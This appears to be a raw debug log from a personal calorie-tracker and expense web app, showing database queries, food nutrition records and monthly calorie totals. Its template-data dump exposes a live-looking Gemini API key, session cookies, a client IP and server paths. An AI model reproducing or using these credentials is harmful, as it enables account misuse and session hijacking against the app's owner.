  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T05:40:41.314Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  }
]
2025-12-15T05:40:41.314Z server-connect:app Executing action step setvalue
2025-12-15T05:40:41.314Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T05:40:41.314Z server-connect:output var_total: 945
2025-12-15T05:40:41.314Z server-connect:app Executing action step setvalue
2025-12-15T05:40:41.314Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T05:40:41.314Z server-connect:output var_consumed: 39
2025-12-15T05:40:41.314Z server-connect:app Executing action step setvalue
2025-12-15T05:40:41.314Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T05:40:41.314Z server-connect:output var_deficit: 1455
2025-12-15T05:40:41.315Z server-connect:app Executing action step custom
2025-12-15T05:40:41.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T05:40:41.316Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '945',
    surplus_or_deficit: '1455',
    status_flag: 2
  }
]
2025-12-15T05:40:50.408Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T05:40:50.408Z server-connect:app Executing action step identify
2025-12-15T05:40:50.408Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:50.408Z server-connect:output identity: 1
2025-12-15T05:40:50.408Z server-connect:app Executing action step restrict
2025-12-15T05:40:50.408Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:50.409Z server-connect:output restrict: undefined
2025-12-15T05:40:50.410Z server-connect:app Executing action step processWithGemini
2025-12-15T05:40:50.410Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T05:40:56.755Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Buttermilk',
      quantity: '1 glass (approx 200ml)',
      total_calories: 76,
      protein: 6.6,
      carbs: 9,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
    }
  ],
  total_macros: {
    total_calories: 76,
    total_protein: 6.6,
    total_carbs: 9,
    total_fat: 2,
    unit: { protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-15T05:40:59.847Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-15T05:40:59.847Z server-connect:app Executing action step identify
2025-12-15T05:40:59.847Z server-connect:app options: { provider: 'security' }
2025-12-15T05:40:59.848Z server-connect:output identity: 1
2025-12-15T05:40:59.848Z server-connect:app Executing action step restrict
2025-12-15T05:40:59.848Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:40:59.848Z server-connect:output restrict: undefined
2025-12-15T05:40:59.848Z server-connect:app Executing action step condition
2025-12-15T05:40:59.848Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-15T05:40:59.848Z server-connect:app Executing action step repeat
2025-12-15T05:40:59.848Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-15T05:40:59.848Z server-connect:app Executing action step insert
2025-12-15T05:40:59.848Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T05:40:59.849Z server-connect:output calories: { affected: 1, identity: 395 }
2025-12-15T05:40:59.849Z server-connect:output repeat: [ {} ]
2025-12-15T05:40:59.849Z server-connect:output condition: undefined
2025-12-15T05:41:00.054Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T05:41:00.054Z server-connect:app Executing action step identify
2025-12-15T05:41:00.054Z server-connect:app options: { provider: 'security' }
2025-12-15T05:41:00.054Z server-connect:output identity: 1
2025-12-15T05:41:00.054Z server-connect:app Executing action step restrict
2025-12-15T05:41:00.054Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T05:41:00.055Z server-connect:output restrict: undefined
2025-12-15T05:41:00.055Z server-connect:router Render template layouts/main
2025-12-15T05:41:00.055Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T05:39:35.012Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANbZhGcFQdHATh%2FkPVIN38Q%3D%3D.H2diUZZqiytFdmXLZvvIe%2FG3J6cHs%2F%2BDymM6FEvVHlzE83sP%2FnceQIJvHjTEgOONNaFCZ7SOSGsBixQK5eBkH0gV06eLHOa0cE2E3InUFNxakgjwnjt8EpeXeolsOOxccSCeuERBakmTNIcTuYCkCtnhtuJutXDFAcnEF8x2X7Y%3D.k%2FraLKmLLqJMgYfA5on0aHXMVQxAYKtHX8jjFQUTUhg; your_r_git.sid=s%3AYABZJyq7ULBN3h3Bgvb3C1RjEX_Xvftd.5y%2F6sJ%2BmXZg9lDS2RTNqKbwXt2Qgzpv4cev2BZe1qzA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T05:41:00.528Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T05:41:00.529Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T05:41:00.529Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T05:41:00.529Z server-connect:app Executing action step identify
2025-12-15T05:41:00.529Z server-connect:app options: { provider: 'security' }
2025-12-15T05:41:00.529Z server-connect:output identity: 1
2025-12-15T05:41:00.529Z server-connect:app Executing action step restrict
2025-12-15T05:41:00.530Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:41:00.530Z server-connect:app Executing action step identify
2025-12-15T05:41:00.530Z server-connect:app options: { provider: 'security' }
2025-12-15T05:41:00.531Z server-connect:output identity: 1
2025-12-15T05:41:00.531Z server-connect:app Executing action step restrict
2025-12-15T05:41:00.531Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:41:00.531Z server-connect:output restrict: undefined
2025-12-15T05:41:00.531Z server-connect:app Executing action step select
2025-12-15T05:41:00.531Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T05:41:00.532Z server-connect:app Executing action step identify
2025-12-15T05:41:00.532Z server-connect:app options: { provider: 'security' }
2025-12-15T05:41:00.532Z server-connect:output identity: 1
2025-12-15T05:41:00.532Z server-connect:app Executing action step restrict
2025-12-15T05:41:00.532Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T05:41:00.532Z server-connect:output restrict: undefined
2025-12-15T05:41:00.532Z server-connect:app Executing action step single
2025-12-15T05:41:00.532Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T05:41:00.533Z server-connect:output restrict: undefined
2025-12-15T05:41:00.533Z server-connect:app Executing action step single
2025-12-15T05:41:00.533Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T05:41:00.534Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
